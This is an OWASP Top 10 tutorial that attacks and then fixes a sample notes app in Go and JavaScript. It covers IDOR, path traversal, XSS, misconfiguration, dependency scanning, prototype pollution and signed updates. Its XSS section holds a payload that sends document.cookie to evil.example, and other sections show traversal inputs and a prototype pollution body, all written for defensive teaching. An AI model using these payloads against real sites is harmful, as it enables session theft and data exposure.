OWASP Top 10
The ten mistakes behind most real breaches, attacked and fixed in one small notes app: broken access control and path traversal, XSS, insecure design, misconfiguration, vulnerable dependencies, integrity and logging failures, and SSRF, with vulnerable and fixed code in Go and JavaScript.
The 30-second version
Movies show security as a hooded genius typing fast. Real incident reports are more boring:
- An API returned any customer's invoice if you changed the number in the URL. No exploit, just
1007→1008. - A "fetch a preview of this link" feature was pointed at an internal address. The server politely fetched its own cloud credentials and showed them to the attacker.
- A library with a published, years-old fix was never upgraded.
None of these needed a brand-new trick that nobody had seen before (a "zero-day"). Each one is a known category of weakness. The OWASP Top 10 is a list of the ten categories that cause the most damage across real applications.
Our running example: Notely
Throughout this topic we'll attack and then fix one small app, Notely: people write notes, attach files, comment on shared notes, and paste links that get a preview (title and image). It has a Go backend and a JavaScript front end, plus a Node version of each server snippet. Every feature is ordinary, and every one hides at least one Top 10 bug.
Users can do or see things they shouldn't: someone else's data, admin actions, files outside a folder.
In Notely: Alice changes /notes/n1 to /notes/n2 in the address bar and reads Bob's diary.
Covered in: §03
What you'll be able to do
| § | You'll learn |
|---|---|
| 02 | What the list is (and isn't), how it's made, and what changed in 2025 |
| 03 | Broken access control: reading other people's data, and escaping a folder with ../ |
| 04 | XSS: making a comment run JavaScript in every reader's browser, and the three fixes |
| 05–06 | Insecure design (threat modelling in ten minutes) and misconfiguration (debug endpoints, headers) |
| 07–09 | Vulnerable components, crypto/auth/integrity failures, and logging that catches attacks |
| 10 | SSRF: tricking your server into fetching internal URLs, and the only check that really works |
| 11–14 | Building security into how a team works, pitfalls, a quiz and a cheat sheet |
What the list is (and isn't)
How the list is made
OWASP collects data from companies that test applications for a living: which kinds of weakness they found, in how many of the apps they tested. Each kind of weakness has a number in a public catalogue called CWE. For example, CWE-22 is path traversal and CWE-79 is XSS.
Each Top 10 category is a bucket of related CWEs. Categories are ranked mostly by how many tested apps had at least one weakness in the bucket, adjusted for how exploitable and damaging those weaknesses are. A community survey then adds up to two categories the data can't see yet (new kinds of attack, which tools don't detect well).
The 2021 list
This topic follows the 2021 edition, because it's the one most courses, tools and job interviews still use. The names are OWASP's official ones:
| # | Category | In one line |
|---|---|---|
| A01 | Broken Access Control | A user can see or do something they shouldn't |
| A02 | Cryptographic Failures | Sensitive data unprotected, or protected with the wrong tool |
| A03 | Injection | Input becomes code: SQL, shell, and also XSS |
| A04 | Insecure Design | The design itself is missing a safety control |
| A05 | Security Misconfiguration | Safe code, unsafe settings |
| A06 | Vulnerable and Outdated Components | A dependency with a known hole |
| A07 | Identification and Authentication Failures | Login and sessions can be bypassed or brute-forced |
| A08 | Software and Data Integrity Failures | Trusting code or data without checking where it came from |
| A09 | Security Logging and Monitoring Failures | Attacks happen and nobody notices |
| A10 | Server-Side Request Forgery (SSRF) | Your server fetches a URL the attacker picked |
What the list is not
- Not a standard. "We cover the OWASP Top 10" doesn't mean an app is secure. Ten broad buckets can't be ticked off. For a real checklist, OWASP publishes the ASVS (Application Security Verification Standard): hundreds of concrete, testable requirements like "passwords are hashed with a slow, salted algorithm".
- Not complete. Business-logic bugs ("a coupon can be applied twice"), denial of service and many others sit outside it or across several categories.
- Not ranked by what matters to you. A public file-sharing app cares far more about A01 than an internal batch job does. Use the list to start thinking, then do your own threat model (§05).
The 2025 edition
OWASP published a new edition in late 2025. Check owasp.org/Top10/2025 for the full text of each category. Flip the toggle in the explorer in §01 to see it next to 2021. The main changes:
- A01 Broken Access Control stays at #1 and now also covers SSRF, which was A10 in 2021. (That makes sense: SSRF is your server accessing something it shouldn't, on the attacker's behalf.)
- Security Misconfiguration moves up from #5 to #2.
- Software Supply Chain Failures (new, A03) widens "Vulnerable and Outdated Components" from "you run an old library" to the whole chain: build tools, CI, registries, packages that turn malicious (§07).
- Mishandling of Exceptional Conditions (new, A10): errors handled in unsafe ways, such as letting a request through because the permission check crashed (§09).
- Renames: A07 becomes "Authentication Failures", A08 becomes "Software or Data Integrity Failures", and A09 becomes "Security Logging & Alerting Failures" ("Alerting" instead of "Monitoring").
Everything in this topic applies to both editions. Only the numbers change.
How each category is taught here
Every category gets the same treatment: what it is in one line, a small vulnerable Go or JavaScript snippet, the fixed version, and how you'd catch it (in review, with a tool, or in your logs). Some categories have their own deep-dive topic in this area, and we link there instead of repeating it:
- Injection beyond XSS (SQL, shell commands, templates): Injection
- Passwords, encryption, hashing: Crypto Basics
- Login, sessions, JWTs, OAuth: Authn & Authz
- Cross-site requests and CORS: CORS & CSRF
- API keys and credentials: Secrets Management
A01 Broken access control: IDOR and path traversal
Broken access control is #1 on both the 2021 and 2025 lists. It takes many forms: a normal user reaching an admin page, editing a field they should only read, or reading someone else's data. We'll do the two most common ones in code.
Bug 1: reading someone else's note (IDOR)
Notely serves notes at /notes/{id}. Here is the handler as someone first wrote it:
// Go 1.22+: the pattern "GET /notes/{id}" matches the method and fills in {id}.
mux.HandleFunc("GET /notes/{id}", func(w http.ResponseWriter, r *http.Request) {
user := currentUser(r) // from the session cookie
if user == "" {
http.Error(w, "unauthorized", http.StatusUnauthorized)
return
}
note, ok := notes[r.PathValue("id")] // ← finds ANY note with this id
if !ok {
http.NotFound(w, r)
return
}
json.NewEncoder(w).Encode(note)
})The handler checks that you are logged in, which is good. It never checks that this note is yours. Alice, logged in as herself, can type /notes/n2 and read Bob's diary. This is called an IDOR (insecure direct object reference); API people call the same bug BOLA.
The fix is one condition, in the place where the data is loaded:
note, ok := notes[r.PathValue("id")]
if !ok || note.OwnerID != user { // ← the missing check
http.NotFound(w, r) // 404, not 403: don't confirm it exists
return
}With a real database, put the condition in the query so a forgotten if can't happen: SELECT … FROM notes WHERE id = $1 AND owner_id = $2. We ran the Go version with Alice's session, with the vulnerable handler mounted at /v/notes/{id} and the fixed one at /notes/{id} so both could be compared side by side:
alice GET /v/notes/n2 → 200 {"id":"n2","owner_id":"bob","text":"bob's diary"} ← vulnerable
alice GET /notes/n2 → 404 404 page not found ← fixed
alice GET /notes/n1 → 200 {"id":"n1","owner_id":"alice","text":"alice's shopping list"}Random, unguessable ids (UUIDs, 128-bit ids like 3f2b9c1e-…) make IDOR harder to find, but they're not a fix: ids leak in URLs, logs, emails and shared screenshots. The owner check is the fix. Roles, sharing and permission models (role-based access control, object-level checks in big APIs) are covered in Authn & Authz and API Design.
Bug 2: escaping the uploads folder (path traversal)
Notely lets you download attachments with GET /files?name=report.txt. The files live in uploads/. The first version:
func download(w http.ResponseWriter, r *http.Request) {
name := r.URL.Query().Get("name")
// filepath.Join glues the parts together and tidies the result,
// which includes resolving "..": uploads/../secret.env → secret.env
http.ServeFile(w, r, filepath.Join("uploads", name))
}.. in a path means "the parent folder". So name=../secret.env turns uploads/../secret.env into plain secret.env, a file next to uploads/, not inside it. That's path traversal. Try it, then try the tricks that beat naive filters:
GET /notes/n1200 OK
{"id":"n1","owner_id":"alice","text":"alice's shopping list"}Three lessons from the lab:
- Filters that delete
../fail. Deleting../from....//leaves../. Never try to clean a dangerous string into a safe one; check the final result instead. - Absolute paths behave differently per language. Go's
filepath.Join("uploads", "/etc/passwd")givesuploads/etc/passwd(harmless), but Node'spath.resolve(base, "/etc/passwd")gives/etc/passwd. - A Symlink inside the folder can point outside it. A purely text-based check sees
link.txtand says "fine".
The fix: let the OS refuse to leave the folder
Go 1.24 added os.Root: you open a directory once, and every file operation through it is refused if the path would leave that directory, whether by .., an absolute path or a symlink. In Node there's no equivalent, so you resolve the real path (following symlinks with realpath) and check that it's still inside the folder.
func main() {
root, err := os.OpenRoot("uploads") // once, at startup
if err != nil {
log.Fatal(err)
}
mux := http.NewServeMux() // our own router, not the global default (§06 says why)
mux.HandleFunc("GET /files", func(w http.ResponseWriter, r *http.Request) {
f, err := root.Open(r.URL.Query().Get("name")) // ← can't leave uploads/
if err != nil {
http.NotFound(w, r)
return
}
defer f.Close()
w.Header().Set("Content-Disposition", "attachment") // download, don't render (§06)
io.Copy(w, f)
})
log.Fatal(http.ListenAndServe(":8080", mux))
}Real output from small test programs that call the vulnerable logic and the fixed logic on the same four names, in the same folder (uploads/link.txt is a symlink to ../secret.env). In Go, "vulnerable" is os.ReadFile(filepath.Join("uploads", name)) and "fixed" is root.Open(name):
"report.txt" vulnerable: "hello from report.txt\n" <nil>
fixed: "hello from report.txt\n" <nil>
"../secret.env" vulnerable: "DB_PASSWORD=hunter2\n" <nil>
fixed: "" openat ../secret.env: path escapes from parent
"link.txt" vulnerable: "DB_PASSWORD=hunter2\n" <nil>
fixed: "" openat link.txt: path escapes from parent
"/etc/hostname" vulnerable: "" open uploads/etc/hostname: no such file or directory
fixed: "" openat /etc/hostname: path escapes from parentThe simplest rule of all: don't let users choose file names. Store uploads under random ids you generate, keep the original name in the database, and look files up by id.
How to catch A01
- In review: for every handler that takes an id or a name, ask "where does it check this belongs to the caller?". If the answer is "the front end hides the button", that's the bug.
- Deny by default: new routes should require a permission unless someone explicitly marks them public. Forgetting a check then fails safe.
- Tests: for each endpoint, a test where user B asks for user A's object and expects 404.
- In logs: a user getting many 404s on other people's ids in a row is someone probing (§09).
A03 Injection, part 1: XSS in depth
A03 Injection in one paragraph
All Injection bugs have one shape: untrusted input is pasted into something that gets interpreted, and the input changes what it means. Pasted into SQL, it's SQL injection; into a shell command, it's command injection. The Injection topic covers those, plus why prepared statements beat escaping. This section covers the injection that targets browsers: cross-site scripting (XSS).
Why it's so bad
Script injected into Notely's page runs as Notely. The same-origin policy, the browser rule that stops other sites from reading Notely's pages, doesn't help, because the script is on Notely's page. It can read every note on screen, call Notely's API with the victim's cookies, change their email address, or show a fake "session expired, log in again" form.
Three kinds, one bug
/search?q=<script>… → the server echoes q into the results page → runs for whoever clicks.location.hash and writes it with innerHTML. The server never sees the payload.These are called stored, reflected and DOM-based XSS. Here's the stored kind in Notely's comment feature, written the naive way on the server and on the client:
func showComments(w http.ResponseWriter, comments []string) {
w.Header().Set("Content-Type", "text/html; charset=utf-8")
for _, c := range comments {
fmt.Fprintf(w, `<div class="comment">%s</div>`, c) // ← raw text into HTML
}
}Now be the attacker. The sandbox below never runs the payload: it analyses the HTML without executing it and previews it with scripts switched off.
<div class="comment"><img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)"></div>javascript: URL. But the code is still unsafe: it trusts whatever arrives. Try another payload.Things to notice in the sandbox:
<script>viainnerHTMLdoesn't run, which fools people into thinkinginnerHTMLis safe. It isn't:<img src=x onerror=…>runs the moment the broken image fails to load. Anyon…attribute is JavaScript.javascript:links run when clicked. Checking "does it contain<script>?" misses all of these.- Escaping (the
textContentandhtml/templatemodes) turns<into<, so the browser draws a less-than sign instead of starting a tag. That's Output encoding.
Fix 1 (server): a template engine that escapes for you
Go's html/template escapes every value for the place it's inserted, which is called contextual escaping. Inside HTML text, inside an attribute, inside a URL and inside a <script> each need different escaping, and it picks the right one. Here's the same page rendered with text/template (which does no escaping) and html/template:
type Comment struct{ Body, Link, Author string }
const page = `<p>{{.Body}}</p>
<a href="{{.Link}}">profile</a>
<script>const author = {{.Author}};</script>
`
c := Comment{ // inside main()
Body: `<img src=x onerror="alert(document.cookie)">`,
Link: `javascript:alert(1)`,
Author: `alert(document.cookie)`,
}
os.Stdout.WriteString("--- text/template (WRONG for HTML) ---\n")
template.Must(template.New("p").Parse(page)).Execute(os.Stdout, c)
os.Stdout.WriteString("--- html/template ---\n")
htmpl.Must(htmpl.New("p").Parse(page)).Execute(os.Stdout, c)--- text/template (WRONG for HTML) ---
<p><img src=x onerror="alert(document.cookie)"></p>
<a href="javascript:alert(1)">profile</a>
<script>const author = alert(document.cookie);</script>
--- html/template ---
<p><img src=x onerror="alert(document.cookie)"></p>
<a href="#ZgotmplZ">profile</a>
<script>const author = "alert(document.cookie)";</script>Three different contexts, three different fixes, all automatic. The odd #ZgotmplZ is html/template saying "this URL had an unsafe scheme, so I replaced it". The text/template output contains all three attacks: an onerror handler, a javascript: link, and, inside <script>, a bare alert(document.cookie) that runs as code. html/template turned that last one into a quoted string.
Node has no built-in HTML templating. Use a template engine that escapes by default (every mainstream one does, and React escapes everything in {…}), or escape by hand for small pages:
const escapeHtml = (s) =>
String(s)
.replaceAll("&", "&") // must be first, or it would re-escape the others
.replaceAll("<", "<")
.replaceAll(">", ">")
.replaceAll('"', """)
.replaceAll("'", "'");
res.end(`<div class="comment">${escapeHtml(comment)}</div>`);
// This is only safe between tags and inside quoted attributes.
// For URLs, <script> blocks and CSS you need different rules: use a template engine.Fix 2 (browser): textContent, not innerHTML
In front-end code, the rule is simpler: text goes in with textContent. It never parses anything.
div.innerHTML = comment.body; // parses HTML: XSS
el.innerHTML = location.hash.slice(1); // DOM-based XSSdiv.textContent = comment.body; // always plain text
el.textContent = location.hash.slice(1);When you genuinely need users to write formatting (bold, links), don't write your own filter. Run the HTML through a maintained sanitizer such as DOMPurify (DOMPurify.sanitize(html)) before inserting it, or store Markdown and render it with a library that escapes raw HTML. Frameworks give the dangerous version an alarming name on purpose: React's dangerouslySetInnerHTML, Vue's v-html. Treat each use as a review question.
Fix 3 (defense in depth): Content Security Policy
This one is a second layer, not a replacement: Defense in depth means stacking independent protections so one failure isn't fatal.
Content Security Policy is a response header that tells the browser which scripts it may run. A good policy forbids inline script: <script> blocks in the HTML, onerror= attributes and javascript: links. Then even if an escaping bug slips through, the injected code doesn't run. Flip the CSP toggle in the sandbox to see that.
Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'script-src 'self': scripts only from files on our own origin, and no inline script.object-src 'none': no old plugin content.base-uri 'none': an injected<base>tag can't redirect relative script URLs.frame-ancestors 'none': nobody may load Notely inside a frame (§06).
If you must keep some inline <script> blocks, give each response a fresh random nonce, put it in the policy (script-src 'nonce-4f9a…') and on your own script tags (<script nonce="4f9a…">). An attacker can't guess the nonce, so their injected tags don't run.
Also mark session cookies HttpOnly so JavaScript, including injected JavaScript, can't read them (Authn & Authz covers cookie flags). That doesn't stop XSS from using the session while the page is open, but it stops the cookie from being stolen and reused later.
How to catch XSS
- In review: search for
innerHTML,outerHTML,insertAdjacentHTML,document.write,dangerouslySetInnerHTML,v-html,text/templateused for HTML, andfmt.Fprintfthat writes HTML. Each one needs a reason. - With tools: linters and security scanners (§11) flag those sinks automatically; a DAST scanner tries payloads against a running copy.
- In production: CSP violation reports tell you when something tried to run inline script.
A04 Insecure design: threat modelling in ten minutes
A bug with no line to fix
Notely adds "share links": anyone with /s/4821 can read the note. The engineer implements it cleanly, with tests:
// 4 random digits: easy to read out over the phone.
code := fmt.Sprintf("%04d", rand.IntN(10000)) // math/rand/v2There's no injection, no missing check, no typo. But there are only 10,000 possible codes. A script trying 50 per second finds every shared note in under 4 minutes. That's A04: the requirement ("easy to read out") was accepted without asking "what if someone tries them all?".
The fix is a design change: make links long and random, and treat a share link as a password.
// 128 bits from the operating system's secure random source.
code := rand.Text() // crypto/rand, Go 1.24+: 26 characters like "MJ4XG2LTEBZW63Y…"With 2¹²⁸ possible codes, guessing is hopeless. A good design adds more: links that expire, can be revoked, are rate-limited per IP (Rate Limiting), and show up in the owner's "shared with" list. None of those come from fixing a line; they come from someone asking the right question at design time.
Threat modelling, the ten-minute version
A Threat model answers four questions (they come from Adam Shostack's book on the topic):
- What are we building? Draw it: boxes for components, arrows for data.
- What can go wrong? Walk a checklist over the drawing.
- What are we going to do about it? A fix, a test, or an accepted risk, each with an owner.
- Did we do a good job? Revisit after building, and after incidents.
For step 2, the classic checklist is STRIDE, six kinds of threat:
| Letter | Threat | Question to ask | The property it breaks |
|---|---|---|---|
| S | Spoofing | Can someone pretend to be another user or service? | Authentication |
| T | Tampering | Can someone change data they shouldn't? | Integrity |
| R | Repudiation | Can someone do something and later deny it? | Accountability (logs) |
| I | Information disclosure | Can someone read what they shouldn't? | Confidentiality |
| D | Denial of service | Can someone make it unusable for others? | Availability |
| E | Elevation of privilege | Can someone gain powers they weren't given? | Authorization |
The most important line on the drawing is the trust boundary: where data crosses from something you don't control (the browser, the internet) into something you do. Every arrow that crosses it carries attacker-controlled data.
Mitigation: Check the IP at connect time, allowlist (§10)
Mitigation: Timeouts and a size cap (§10)
Mitigation: Same SSRF defenses + network egress rules (§10)
Doing it for real
- Keep it small. Ten minutes at the start of a feature, in the design doc, beats a 40-page document nobody updates. "Link preview fetches user URLs → SSRF?" in a design review would have saved Notely §10's incident.
- Write abuse cases next to user stories: "As an attacker, I paste a link to an internal address to read the response."
- Record decisions, including accepted risks ("4-digit codes for the kiosk PIN: acceptable because the kiosk is rate-limited to 5 tries and locked to one office").
- Re-run it when the drawing changes: a new external call, a new kind of user, a new place data is stored.
A05 Security misconfiguration: safe code, unsafe settings
1. A debug endpoint on the public internet
Go ships a great profiler, pprof. Adding it is one line, which is exactly the problem:
import (
"flag"
"log"
"net/http"
_ "net/http/pprof" // ← registers /debug/pprof/* on http.DefaultServeMux
)
func main() {
flag.String("db-password", "", "database password")
flag.Parse()
http.HandleFunc("/notes", notesHandler)
log.Fatal(http.ListenAndServe(":8080", nil)) // nil = serve DefaultServeMux
}We ran it with -db-password=hunter2 and asked from outside:
$ curl -s localhost:18080/debug/pprof/cmdline | tr '\0' ' '
./app -db-password=hunter2
$ curl -s "localhost:18080/debug/pprof/goroutine?debug=1" | head -3
goroutine profile: total 3
1 @ 0x436771 0x47447d 0x647ad1 …
# 0x647ad0 runtime/pprof.writeRuntimeProfile+0xb0 /usr/local/go1.24.7/src/runtime/pprof/pprof.go:796/cmdline prints the program's command line, password included. The other endpoints show your code paths, file paths and Go version, and /debug/pprof/profile makes the server spend 30 seconds profiling on request, which is a free way to slow you down. Passing secrets as flags is its own mistake (Secrets Management covers better ways); the fix here is to keep debug tools off the public port:
import (
"log"
"net/http"
"net/http/pprof" // no underscore: we register its handlers ourselves
)
func main() {
public := http.NewServeMux() // our own router: nothing registers here by accident
public.HandleFunc("/notes", notesHandler)
debug := http.NewServeMux()
debug.HandleFunc("/debug/pprof/", pprof.Index) // also serves heap, goroutine, … by name
debug.HandleFunc("/debug/pprof/profile", pprof.Profile)
go func() { log.Println(http.ListenAndServe("127.0.0.1:6060", debug)) }() // localhost only
log.Fatal(http.ListenAndServe(":8080", public))
}The same goes for Node's --inspect debugger flag (never on 0.0.0.0 in production), admin dashboards, /actuator and /metrics pages, and Swagger "try it" consoles on production. Reach them through a VPN or an SSH tunnel, not the internet.
2. Errors that say too much
// MISCONFIGURED: the raw error goes to the client.
if err != nil {
http.Error(w, err.Error(), 500)
// → pq: relation "notes_v2" does not exist (SQLSTATE 42P01)
return
}
// FIXED: details go to the log, the client gets a reference.
if err != nil {
slog.Error("load notes", "err", err, "request_id", reqID)
http.Error(w, "internal error (ref "+reqID+")", 500)
return
}A verbose error tells an attacker your database, table names, internal IP addresses and file layout. The fixed version logs everything with a request id (Observability) and gives the user only the id, which is all support needs to find the log line.
3. Defaults nobody changed
- Default credentials:
admin/adminon an admin panel, the defaultpostgrespassword, an Elasticsearch or Redis with no password listening on a public IP. Every one of these is found by automated internet scanners within hours. - Sample apps and docs left deployed (
/swagger,/phpinfo.php, the framework's welcome page with its version number). - Cloud storage buckets created public "for testing".
- Directory listing turned on, so
/uploads/shows every file.
The fix is boring and effective: one hardened configuration, created by code (Terraform, Helm values, a base Docker image), reviewed like code, and used for every environment. A setting that's only right because someone remembered to click it will eventually be wrong.
4. CORS opened too wide
CORS headers tell browsers which other websites may read your API's responses. The common misconfiguration is reflecting back whatever Origin header the request sends, and allowing credentials, which lets any website read logged-in users' data:
w.Header().Set("Access-Control-Allow-Origin", r.Header.Get("Origin")) // ← anyone
w.Header().Set("Access-Control-Allow-Credentials", "true")The fix is an explicit list of allowed origins. Why this works, and what CORS does and doesn't protect, is the job of CORS & CSRF.
5. Missing security headers
A handful of response headers switch on browser protections that are off by default:
| Header | What it does |
|---|---|
Content-Security-Policy | Limits which scripts may run; your XSS safety net (§04). Its frame-ancestors 'none' part stops clickjacking |
Strict-Transport-Security | "Only ever use HTTPS for this site" (HSTS) |
X-Content-Type-Options: nosniff | The browser trusts Content-Type instead of guessing; an uploaded .txt can't be run as script |
Referrer-Policy | Controls how much of the current URL is sent to other sites when users click links |
Content-Disposition: attachment | On user uploads: download the file instead of displaying it as a page on your origin |
Go's net/http and Node's node:http send none of these by default. Try the checker on a few presets, including a plain Go server's response:
Set them once, in middleware, so no handler can forget:
func securityHeaders(next http.Handler) http.Handler {
return http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
h := w.Header()
h.Set("Content-Security-Policy", "default-src 'self'; object-src 'none'; base-uri 'none'; frame-ancestors 'none'")
h.Set("Strict-Transport-Security", "max-age=31536000; includeSubDomains")
h.Set("X-Content-Type-Options", "nosniff")
h.Set("Referrer-Policy", "strict-origin-when-cross-origin")
next.ServeHTTP(w, r)
})
}
// http.ListenAndServe(":8080", securityHeaders(public))max-age=31536000 is one year in seconds. Only send HSTS once HTTPS works everywhere on the domain (and subdomains, with includeSubDomains): browsers will refuse plain HTTP for that long. Headers like X-Powered-By: Express or Server: nginx/1.18.0 should go the other way: remove them, since they only tell attackers which version to look up.
A06 Vulnerable components and the supply chain
Notely's Go backend imports a handful of modules, and they pull in more of their own. The front end's node_modules holds hundreds of packages, almost all transitive: installed because something you installed needed them. Any one of them can have a published hole, a CVE.
Go: govulncheck
The link preview from §10 parses fetched pages with golang.org/x/net/html to find the <title>. Our go.mod was stuck on an old version, v0.20.0:
doc, err := html.Parse(os.Stdin) // ← parses attacker-controlled HTMLgovulncheck is the Go team's scanner. Install it with go install golang.org/x/vuln/cmd/govulncheck@latest, then run it in the module:
=== Symbol Results ===
Vulnerability #1: GO-2025-3595
Incorrect Neutralization of Input During Web Page Generation in x/net in
golang.org/x/net
More info: https://pkg.go.dev/vuln/GO-2025-3595
Module: golang.org/x/net
Found in: golang.org/x/net@v0.20.0
Fixed in: golang.org/x/net@v0.38.0
Example traces found:
#1: main.go:24:24: preview.main calls html.Parse
Vulnerability #2: GO-2024-3333
Non-linear parsing of case-insensitive content in golang.org/x/net/html
More info: https://pkg.go.dev/vuln/GO-2024-3333
Module: golang.org/x/net
Found in: golang.org/x/net@v0.20.0
Fixed in: golang.org/x/net@v0.33.0
Example traces found:
#1: main.go:24:24: preview.main calls html.Parse
Your code is affected by 2 vulnerabilities from 1 module.
This scan also found 0 vulnerabilities in packages you import and 2
vulnerabilities in modules you require, but your code doesn't appear to call
these vulnerabilities.
Use '-show verbose' for more details.The useful part is the trace: main.go:24 calls html.Parse. govulncheck does reachability analysis: it checks whether your code actually calls the vulnerable function. The other two advisories are in parts of x/net (HTTP/2, proxy handling) that we never call, so they're reported separately and are lower priority. GO-2024-3333 is a denial of service: a crafted page makes the parser slow, and our preview parses pages that attackers choose. The fix is one command:
$ go get golang.org/x/net@latest && go mod tidyExit code 3 means "vulnerabilities found", so govulncheck ./... fails a CI job on its own.
JavaScript: npm audit
npm audit checks your installed tree against GitHub's advisory database. Here is a Node package pinned to an old lodash, run on 30 October 2026:
# npm audit report
lodash <=4.17.23
Severity: high
Command Injection in lodash - https://github.com/advisories/GHSA-35jh-r3h4-6jhm
Regular Expression Denial of Service (ReDoS) in lodash - https://github.com/advisories/GHSA-29mw-wpgm-hmr9
lodash vulnerable to Code Injection via `_.template` imports key names - https://github.com/advisories/GHSA-r5fr-rjxr-66jc
lodash vulnerable to Prototype Pollution via array path bypass in `_.unset` and `_.omit` - https://github.com/advisories/GHSA-f23m-r3pf-42rh
Lodash has Prototype Pollution Vulnerability in `_.unset` and `_.omit` functions - https://github.com/advisories/GHSA-xxjr-mmjv-4gpg
fix available via `npm audit fix --force`
Will install lodash@4.18.1, which is outside the stated dependency range
node_modules/lodash
1 high severity vulnerabilityUnlike govulncheck, npm audit doesn't know whether you call _.template or _.unset; it reports every advisory for the installed version. That's why its output is noisier, and why teams triage it (upgrade now, or record "not reachable, upgrade in the next cycle") instead of ignoring the whole report. --force here means "allowed to go past the version I pinned", so read the changelog first and run your tests after.
Lockfiles: get the same code every time
A lockfile records the exact version and a checksum of every package, direct and transitive. Commit it, and install from it:
| Go | Node | |
|---|---|---|
| Lockfile | go.mod (versions) + go.sum (checksums) | package-lock.json |
| Install exactly what's locked | go build always does: Go checks go.sum, and the public checksum database, on download | npm ci (fails if package.json and the lockfile disagree), not npm install |
| Version ranges | Go uses the minimum version that satisfies everyone; no surprise upgrades | "^4.17.20" means "any 4.x ≥ 4.17.20": a new install can pick a newer, possibly compromised, release |
The checksum means that if someone later replaces version 1.2.3 on the registry with different code, your build fails instead of quietly installing it.
Supply-chain attacks: when the package is the attack
A06 is about honest libraries with bugs. The 2025 list widens it to software supply chain failures, because attackers increasingly go after the chain itself:
- Typosquatting: a malicious package named one typo away from a popular one.
- Install scripts: npm packages can run any command on
npm install(apostinstallscript), with your user's permissions and access to your environment variables.npm ci --ignore-scripts(orignore-scripts=truein.npmrc) turns that off; a few packages then need an explicit rebuild step. Go has no install scripts:go getandgo builddon't run code from your dependencies. - Hijacked maintainers: a real, popular package gets a malicious release after its maintainer's account is phished. Lockfiles plus a short delay before adopting brand-new releases limit the damage.
- Build and CI tools: the action or base image in your pipeline is also a dependency (§08).
How to catch A06
govulncheck ./...andnpm audit --audit-level=highin CI on every pull request and on a nightly schedule (new advisories appear for code that hasn't changed).- Lockfiles committed;
npm ciin CI and Docker builds. - Review dependency changes in pull requests like code: a new package is a new author with access to your servers.
A02, A07, A08: crypto, login and integrity failures
Each of these has a full topic of its own in this area. Here's what each looks like in Notely, the fix, and where to go deeper.
A02 Cryptographic failures
Cryptography fails in three usual ways: data sent or stored without protection (plain HTTP, unencrypted backups), the wrong tool (a fast hash for passwords), or a home-made scheme. The classic in code review:
// VULNERABLE: MD5 is fast and unsalted. A leaked table is cracked in hours.
sum := md5.Sum([]byte(password))
store(hex.EncodeToString(sum[:]))
// FIXED: a slow, salted password hash (golang.org/x/crypto/bcrypt).
hash, err := bcrypt.GenerateFromPassword([]byte(password), bcrypt.DefaultCost)
if err != nil {
return err
}
store(string(hash)) // "$2a$10$…": algorithm, cost and salt are inside the stringWhy "fast" is bad for passwords, what a Salt does and how to choose a cost are in Crypto Basics. HTTPS everywhere, plus the HSTS header from §06, covers data in transit (TLS explains how).
A07 Identification and authentication failures
Notely's first login handler had two problems:
// VULNERABLE: two different answers, and no limit on attempts.
user, ok := users[email]
if !ok {
http.Error(w, "no account with that email", 401) // ← tells attackers who exists
return
}
if bcrypt.CompareHashAndPassword(user.Hash, []byte(password)) != nil {
http.Error(w, "wrong password", 401)
return
}
// FIXED: one answer for both cases (and rate limiting in front of it).
if !ok || bcrypt.CompareHashAndPassword(user.Hash, []byte(password)) != nil {
slog.Warn("login failed", "ip", clientIP(r)) // §09: log it, without the password
http.Error(w, "email or password is incorrect", 401)
return
}The different messages let an attacker check which emails have accounts (user enumeration). The missing limit lets bots try millions of leaked email/password pairs from other sites' breaches: Credential stuffing. The defense is per-account and per-IP limits on login (Rate Limiting), plus multi-factor login.
A08 Software and data integrity failures
A08 is about trusting code or data because of where it seems to come from, without checking. Three Notely examples.
1. Data that rewrites your program: prototype pollution
Notely's settings endpoint deep-merges the JSON the user sends into their settings object. Here is the merge function, and what one crafted request does to it:
function merge(target, src) {
for (const key in src) {
if (typeof src[key] === "object" && src[key] !== null) {
target[key] ??= {};
merge(target[key], src[key]);
} else {
target[key] = src[key];
}
}
return target;
}
const body = '{"theme":"dark","__proto__":{"isAdmin":true}}'; // from the request
merge({}, JSON.parse(body));
const someoneElse = {};
console.log("someoneElse.isAdmin =", someoneElse.isAdmin);someoneElse.isAdmin = trueThat's prototype pollution. The fix: never merge user data into objects wholesale. Copy only the fields you expect (settings.theme = String(body.theme)), validate the body against a schema, or at minimum skip __proto__, constructor and prototype while copying and iterate with Object.keys (own properties only). Go doesn't have this bug: json.Unmarshal into a struct only fills fields the struct declares.
2. Formats that run code: insecure deserialization
Some formats can do more than hold data. Java serialization, Python's pickle, PHP's unserialize and some YAML loaders can create arbitrary object types, and run code, while parsing. Feeding them bytes from a user (a cookie, an upload, a queue message) is insecure deserialization, and it has led to many remote-code-execution bugs. Both of our languages are lucky here: Go's encoding/json and JavaScript's JSON.parse only produce plain data. The rule still applies: decode untrusted input into a fixed shape (a Go struct, a validated JS object), never into "whatever type the input says it is".
3. Code from the internet: unsigned updates and CI
Notely's desktop app downloads updates. If it installs whatever the download produced, anyone who can tamper with the download (a hacked mirror, a hijacked DNS name) ships code to every user. The fix is a Digital signature: the release pipeline signs each update with a private key kept offline, and the app checks it with the public key built into it.
// The vendor's PUBLIC key is compiled into the app.
var vendorKey ed25519.PublicKey
// VULNERABLE: installs whatever bytes the download produced.
func applyUpdateVulnerable(bin []byte) error { return install(bin) }
// FIXED: install only if the vendor's signature over these exact bytes checks out.
func applyUpdate(bin, sig []byte) error {
if !ed25519.Verify(vendorKey, bin, sig) {
return errors.New("update rejected: bad signature")
}
return install(bin)
}installed "notely v2.4.1"
<nil>
installed "notely v2.4.1 + backdoor" ← applyUpdateVulnerable
<nil>
update rejected: bad signature ← applyUpdate, same tampered bytesYour CI pipeline deserves the same suspicion, because it holds deploy keys and can push to production:
on:
pull_request: # NOT pull_request_target for untrusted code: that runs with
# your repo's secrets, even for pull requests from forks
permissions:
contents: read # least privilege for the job's token
jobs:
test:
runs-on: ubuntu-latest
steps:
# Pin third-party actions to a full commit SHA, not a tag like @v4.
# A tag can be moved to point at other code; a SHA can't.
- uses: actions/checkout@11bd71901bbe5b1630ceea73d27597364c9af683 # v4.2.2
- run: npm ci --ignore-scripts && npm testKeeping deploy credentials out of the pipeline's reach, and short-lived when they must be there, is in Secrets Management.
A09 Logging and monitoring failures (and failing closed)
